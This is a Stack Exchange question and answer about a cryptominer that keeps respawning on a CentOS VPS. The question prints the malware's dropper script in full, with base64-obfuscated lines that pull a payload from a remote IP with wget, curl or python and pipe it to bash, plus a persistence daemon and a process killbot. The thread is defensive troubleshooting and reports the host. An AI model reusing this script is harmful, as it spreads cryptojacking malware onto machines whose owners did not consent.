3

On a VPS that I use, somehow I got a little annoying miner. (I'm not root)

15109 ?        Z      0:00 [sh] <defunct>
15134 ?        Ssl    0:03 []
15160 ?        S      0:00 ./5DiaEd75 ./bNlMGMON
15162 ?        S      0:00 ./5DiaEd75 ./bnkI202h
15183 ?        S      0:00 sleep 5
15184 ?        S      0:00 sleep 5

Every time it starts with a different name from /var/tmp. As far as I have seen, it downloads a file from transfer.sh (later edit: the script is the one from transfer.sh, I thought it was the site) sometime after I kill it (this I saw from stalking ps x)

47067 ?        S      0:00 sh -c echo -n 'd2dldCAtcSAtTyAtIGh0dHA6Ly8yMDQuNDguMjQuNzIvaW5kZXguaHRtbCB8IGJhc2g=' | base64 -d | bash
47070 ?        S      0:00 bash
47072 ?        S      0:00 bash
47088 ?        S      0:00 wget http://204.48.24.72/zeenuts -O ./0amdpE5K

I checked the crontab, but there is nothing there and if I put something there it gets deleted after that process starts. I also see before this thing starts a:

27985 ?        S      0:00 /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t -f root

I can't get rid of this thing. Is there a way that it sets a cron-like job without using crontab? or using the sendmail function? The [] process using lsof it says it runs from /; also in /var/tmp, it downloads 2 executables.

The /user/bin/sendmail might not be related, as I noticed that starts whenever I set in crontab a command and it gets executed. Might be a setitng the admin made for crontab jobs.

2.6.32-642.el6.x86_64
CentOS release 6.8 (Final)

I saw the script:

        #<!--

    function random() {
    chars=abcdefghijklmnop1234567890ABCDEFGHIJKLMNOP
    for i in {1..8} ; do
    echo -n ${chars:RANDOM%${#chars}:1}
    done
    }

    new_bash=$(random)
    new_daemon=$(random)
    new_killbot=$(random)
    new_payload=$(random)
    crontab -r

    writable_path=("/var/tmp" "/tmp" `pwd`)

    for install_path in ${writable_path[@]}
    do
        cd $install_path

        rm -rf touch ponezz

        cp `command -v touch` ./touch
        ./touch ./ponezz
        if [ ! -f ./ponezz ]; then
            continue
        else
            rm -rf touch ponezz
            break
        fi
    done

    if [ $(command -v wget | wc -l) -eq 1 ]; then
        wget http://204.48.24.72/zeenuts -O ./$new_payload
    elif [ $(command -v curl | wc -l) -eq 1 ]; then
        curl http://204.48.24.72/zeenuts -o ./$new_payload
    elif [ $(command -v python | wc -l) -eq 1 ]; then
        if [ $(python -V 2>&1 | sed 's/.* \([0-9]\).\([0-9]\).*/\1\2/') -lt "30" ]; then
            python -c "from urllib import urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
        else
            python -c "from urllib.request import urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
        fi
    fi
    chmod 777 ./$new_payload
    nohup ./$new_payload
    ./$new_payload

    echo "sleep 2;rm "'$0'" ;while true;do sleep 5; ps x | grep -F '[]' | grep -v grep;if [ "'$?'" -eq 1 ]; then chmod 777 ./$new_payload;nohup ./$new_payload;./$new_payload;fi;ps | grep -F '[]' | grep -v grep | awk '{print "'$1'"}' | awk '{if(NR>1)print}' | xargs -n1 kill -9;done" | tee ./$new_daemon
    echo -n 'c2xlZXAgMjtybSAkMCA7d2hpbGUgdHJ1ZTtkbyBzbGVlcCA1OyBwcyBhdXggfGdyZXAgLXYgLUYgJ1tdJyB8IGF3ayAne2lmKCQzPjQwLjApIHByaW50ICQyfScgfCB3aGlsZSByZWFkIHByb2NpZDsgZG8ga2lsbCAtOSAkcHJvY2lkOyBkb25lO2RvbmU=' | base64 -d | tee ./$new_killbot
cp `command -v bash` ./$new_bash

./$new_bash ./$new_daemon &
./$new_bash ./$new_killbot &

Fun little script, but I can't figure out how it keeps on starting.

4

Since you are not the owner of, or admin on, the compromised machine, you should report this to the people that do own or administrate the machine. They have an ongoing security breach and they need to take immediate action.

It may be a "harmless" bitcoin miner, or it may well be that the bitcoin miner (if that is what it is) is the only process that you're able to spot. It does not matter, the machine is compromised and it should be taken off the Internet immediately.

Please also see


I've reported to DigitalOcean (to which the IP address in the base64-encoded string belongs) that this is happening, with a pointer to this U&L question.

  • I was kinda’ worried since it happent on my account...for sure it must be something that i installed.... in the end i did let the admin know but still i am curious as to how he keept on starting that process...i only know of crontab and there was nothing in it. Is there any other way he can schedule a task to start? That base64 i think was the starting point.i was setting in crontab to kill all wget tasks but i guess in between the times it checked it executed the base64 string and deleted my crontab entry – Killroy2018 May 27 '18 at 16:08
  • @Killroy2018 There are a few other ways to schedule tasks on a Unix system. at is another one, and on some Linuxes I assume that systemd could be used as well, depending on what privileges the intruder has managed to secure. The base64 string is an encoded shell script that downloads something from a nameless server and runs it. I haven't looked further into that because I'm no security expert. – Kusalananda May 27 '18 at 16:52
  • I am pretty sure he didnt get root...why would he run the process as my user...i dont belive in coincidences. Anyway, the admin will deal with this issue as it was birtual environmemt i think...But i would be curious about stoping him at that point. Clearly the cron job to kill base64 and wget didnt work. Is there a way for me as a user to forbid using wget? – Killroy2018 May 27 '18 at 18:29

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.